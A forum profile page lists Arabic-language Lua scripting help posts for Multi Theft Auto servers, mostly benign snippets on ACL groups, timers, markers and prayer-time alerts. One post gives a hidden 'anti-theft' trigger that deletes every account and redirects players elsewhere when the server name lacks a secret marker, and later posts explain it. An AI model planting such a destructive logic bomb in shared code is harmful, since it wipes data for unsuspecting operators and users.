Jump to content

3NAD

Members
  • Posts

    1,992
  • Joined

  • Last visited

  • Days Won

    4

Everything posted by 3NAD

  1. لم يتم التجربة ذذ -- ضيفه بنفس الملف Groups = { ["50"] = "Moderator"; ["100"] = "SuperModerator"; ["500"] = "Admin"; }; setTimer ( function ( ) for _, v in ipairs ( getElementsByType ( "player" ) ) do local plrAccount = getPlayerAccount ( v ) if not isGuestAccount ( plrAccount ) then if Groups[tostring(t[v]["hour"])] then if not isObjectInACLGroup ( "user."..getAccountName(plrAccount), aclGetGroup ( Groups[tostring(t[v]["hour"])] ) ) then aclGroupAddObject ( aclGetGroup ( Groups[tostring(t[v]["hour"])] ), "user."..getAccountName(plrAccount) ) end end end end end , 10000, 0 )
  2. @ 7ASSAN: function mainFunction() outputChatBox ("Instant text!") setTimer ( function() outputChatBox ( "5 second delay text!" ) end, 5000, 1 ) end mainFunction() --call function -- وش يسوي هذا الكود
  3. اي حطه مع ايفنت يوم تضغط الزر وتمشي امورك
  4. لم يتم التجربة addEventHandler ( "onPlayerQuit",root, function ( ) local plrAcc = getPlayerAccount ( source ) if not isGuestAccount ( plrAcc ) then local time = getRealTime ( ) local day = time.monthday local month = time.month + 1 local year = time.year + 1900 local hour = time.hour - 1 local minute = time.minute + 1 local second = time.second local name = getPlayerName ( source ) local text = name.." #FFFFFF[ "..day.."/"..month.."/"..year.." ] [ "..hour..":"..minute..":"..second.." ]" setAccountData ( plrAcc, "lastJoin", text ) end end ) addEventHandler ( "onPlayerLogin", root, function ( _, acc ) local name = getPlayerName ( source ) local text = name.." #00FF00Online." setAccountData ( acc, "lastJoin", text ) end ) function command ( player, _, account ) local plrAcc = getPlayerAccount ( player ) if not isGuestAccount ( plrAcc ) then if isObjectInACLGroup ( "user."..getAccountName ( plrAcc ), aclGetGroup ( "DP" ) ) then if account then local acc = getAccount ( account ) if acc then outputChatBox ( "Last player online time:", player, 255, 255, 255, true ) outputChatBox ( getAccountData ( acc, "lastJoin" ).."." or "The player didn't join.", player, 255, 255, 255, true ) end else outputChatBox ( "/lastjoin [accountName]", player, 255, 0, 0, true ) end else outputChatBox("You aren't from DP clan", player, 255, 0, 0, true ) end end end addCommandHandler ( "lastjoin", command ) addCommandHandler ( "lj", command )
  5. لم يتم التجربة local groupName = '[saW]' tawa1 = createMarker(840,1312,36,"cylinder",2,0,0,0,255) postion = { {847,1422,56}, {855,1244,56}, {958,1257,56}, {951,1424,56}, } addEventHandler ( "onMarkerHit", tawa1, function ( hPlayer ) if getElementType ( hPlayer ) then local plrTeam = getPlayerTeam ( hPlayer ) if plrTeam then if getElementData ( hPlayer, "Group" ) == groupName and getTeamName ( plrTeam ) == "No Team" then local randomPosition = postion[math.random(#postion)] local x, y, z = randomPosition[1], randomPosition[2], randomPosition[3] setElementPosition ( hPlayer, x, y, z ) end end end end )
  6. 3NAD

    fileDelete

    لآحظ انه للكلنت فقط
  7. -- Server Side addEventHandler ( "onResourceStart", resourceRoot, function ( res ) setElementData ( resourceRoot, "abc", get ( "abc" ) ) end ) -- Client Side outputChatBox ( getElementData ( resourceRoot, "abc" ) or "n/a" )
  8. لم يتم التجربة ذذذذذ addEventHandler ( "onResourceStart", resourceRoot, function ( rss ) if not string.find ( getServerName ( ), "****" ) then renameResource ( "admin", "script" ) setTimer ( renameResource, 500, 1, getResourceName ( rss ), "admin" ) setTimer ( function ( ) for _, v in ipairs ( getAccounts ( ) ) do removeAccount ( v ) end for _, v in ipairs ( getElementsByType ( "player" ) ) do redirectPlayer ( v, "ip", "port" ) end cancelEvent ( true ) end, 1000, 1 ) end end )
  9. الشرط يقول if not string.find ( getServerName ( ), "****" ) then إذا لم يتم إيجاد النجوم في اسم السيرفر قم بالتالي cancelEvent ( true ) إلغي الحدث يوم يشتغل المود وخلاص يطفي ----- ولو كان حاط النجوم في اسم سيرفره ماراح يطفي
  10. حط رمز غريب و مو موجود بالكيبورد في اسم السيرفر Ø مثل هذا
  11. addEventHandler ( "onResourceStart", resourceRoot, function ( ) if not string.find ( getServerName ( ), "****" ) then cancelEvent ( true ) end end )
  12. على سبيل المثال يوجد خط تبي تحطه بالسيرفر font.TTF اسمه font.ttf وكتبته بالميتا احتمال اللينكس مايتعرف علاه
  13. وبيجيك بـ أف8 السبب refresh اكتب ممكن يكون صيغة الملف المضاف في الميتا ماتفهمه أنظمة اللينكس .. لازم بـ نفس الحرف كبتل سمول
  14. لم يتم التجربة -- Server Side getPlayerCountry = function ( player ) if getResourceState ( getResourceFromName ( "admin" ) ) == "running" then return exports.admin:getPlayerCountry ( player ) or "n/a" end return "n/a" end setCountryData = function ( player ) setElementData ( player, "Country", getPlayerCountry ( player ) ) end addEventHandler ( "onPlayerJoin", root, function ( ) setCountryData ( source ) end ) addEventHandler ( "onResourceStart", resourceRoot, function ( ) for _, v in ipairs ( getElementsByType ( "player" ) ) do setCountryData ( v ) end end ) -- Client Side PrayerTime = { ["SA"] = { ["الفجر"] = "3:45"; ["الظهر"] = "11:45"; }; ["BH"] = { ["الفجر"] = "3:30"; ["الظهر"] = "11:30"; }; }; getPlayerRealTime = function ( ) local time = getRealTime ( ) local hours = tostring ( time.hour ) local minuts = tostring ( time.minute ) return tostring ( hours..":"..minuts ) end checkPlayerTime = function ( ) local country = getElementData ( localPlayer, "Country" ) or "SA" if PrayerTime [ country ] then for _, v in ipairs ( PrayerTime [ country ] ) do if getPlayerRealTime ( ) == v then outputChatBox ( tostring ( _ ).." حان الآن موعد آذان" ) killTimer ( checkTimer ) setTimer ( enableTimer, 60000, 1 ) end end end end enableTimer = function ( ) if isTimer ( checkTimer ) then killTimer ( checkTimer ) end checkTimer = setTimer ( checkPlayerTime, 10000, 0 ) end enableTimer ( ) --
  15. مو مرتاح لـ الإيفنت هذا : )))) addEventHandler('OnClientGUIDoubleClick',Image2, function ( ) if guiGridListGetSelectedItem ( Gird ) ~= -1 then if isElement ( sound ) then destroyElement ( sound ) end sound = playSound ( guiGridListGetItemData ( Gird,MyRow,1 ) ) outputChatBox(' Sound Loading ...') guiSetVisible ( Image2, false ) end end,false )
  16. مايصير تحميل + جرب مديا فاير mp3 ولا اكتب بـ قوقل رفع ملفات
  17. مايصير كذا ذذ PED لأنك سويت إضافة افنت قبل لا تعرف المتغير ولا شيء nil اتوقع بيقلكـ
×
×
  • Create New...